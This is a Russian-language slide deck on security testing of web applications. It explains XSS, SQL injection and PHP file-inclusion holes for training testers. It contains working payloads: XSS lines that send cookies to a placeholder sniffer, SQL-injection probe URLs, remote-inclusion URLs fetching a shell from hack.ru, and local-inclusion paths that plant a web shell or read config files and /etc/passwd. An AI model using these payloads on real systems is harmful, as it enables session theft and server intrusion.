************ ************ *** Security and Access Control Testing

advertisement
Тестирование безопасности
или Security and Access
Control Testing
Принципы безопасности ПО
• Конфиденциальность
• Целостность
• Доступность
Конфиденциальность
Конфиденциальность - это сокрытие определенных
ресурсов или информации. Под конфиденциальностью
можно понимать ограничение доступа к ресурсу
некоторой категории пользователей, или другими
словами,
при
каких
условиях
пользователь
авторизован получить доступ к данному ресурсу.
Целостность
Целостность - ожидается, что ресурс будет изменен
только соответствующим способом определенной
группой пользователей. Является условием того, что
данные
не
были
несанкционированно
модифицированы при выполнении любой операции
над ними, будь то передача, хранение или
представление.
Доступность
Доступность - состояние информации (ресурсов
автоматизированной информационной системы), при
котором субъекты, имеющие право доступа, могут
реализовывать их беспрепятственно. Как правило, чем
более критичен ресурс тем выше уровень доступности
должен быть.
Основные типы уязвимостей
Web-приложений
• XSS injection
• SQL injection
• PHP injection
XSS injection
(Cross Site Scripting)
XSS injection - тип уязвимости интерактивных
информационных систем в вебе. XSS возникает, когда в
генерируемые сервером страницы по какой-то
причине
попадают
пользовательские
скрипты.
Специфика подобных атак заключается в том, что
вместо непосредственной атаки сервера они
используют уязвимый сервер в качестве средства атаки
на клиента.
XSS injection
(Cross Site Scripting)
Примеры:
• <script>alert(‘XSS’)</script>
• <IMG SRC="javascript:alert('XSS');">
• <script src="http://oursite/blabla.js"></script>
• <script>document.location="SNIFFER"+document.cookie</script>
•
<script>img=new Image();img.src="SNIFFER"+document.cookie</script>
SQL injection
SQL–injection - один из распространённых способов
взлома сайтов и программ, работающих с базами
данных, основанный на внедрении в запрос
произвольного SQL-кода.
Внедрение SQL, в зависимости от типа используемой
СУБД и условий внедрения, может дать возможность
атакующему выполнить произвольный запрос к базе
данных, получить возможность чтения и/или записи
локальных файлов и т.д.
SQL injection
Исходная страница: site.com/index.php?id=1
Примеры:
•
site.com/index.php?id=1 ‘ (Выводит ошибку)
•
site.com/index.php?id=1 blablabla (Выводит ошибку)
•
site.com/index.php?id=2-1(Выводит страницу 1)
•
site.com/index.php?id=1*1(Выводит страницу 1)
•
site.com/index.php?id=1*2(Выводит страницу 2)
•
site.com/index.php?id=1+and+1=1(Выводит страницу 1)
•
site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)
PHP injection
PHP injection - один из способов взлома веб-сайтов,
работающих на PHP, заключающийся в выполнении
постороннего кода на серверной стороне. Потенциально
опасными функциями являются:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().
PHP-инъекция становится возможной, если входные
параметры принимаются и используются без проверки.
PHP injection
Удалённый инклуд (Remote File Inclusion)
<?php
if($_GET['page'].'.php')
{
include($_GET['page'].'.php');
}
else
{
include($file.'.php');
}
?>
• Нет проверки на существование значения $_GET['page']
http://site.ru/index.php?page=http://hack.ru/shell
• Переменная $file не была определена раннее
http://site.ru/index.php?file=http://hack.ru/shell
PHP injection
Локальный инклуд (Local File Inclusion)
<?php
…
include("include/$file");
…
?>
• Под видом картинки заливаем веб-шелл:
http://www.site.com/index.php?include=../forum/images/shell.jpg
• Если знаем движок и структуру приложения, можем
прочитать конфигурационные файлы:
http://www.site.com/index.php?include=../forum/admin/config.php
• Либо даже так:
http://www.site.com/index.php?include=../../../../etc/passwd
Что почитать по теме?
• XSS (Cross Site Scripting) Cheat Sheet
http://ha.ckers.org/xss.html
• Много статей по SQL/PHP/XSS-inj с примерами
http://forum.antichat.ru/thread19610.html
Download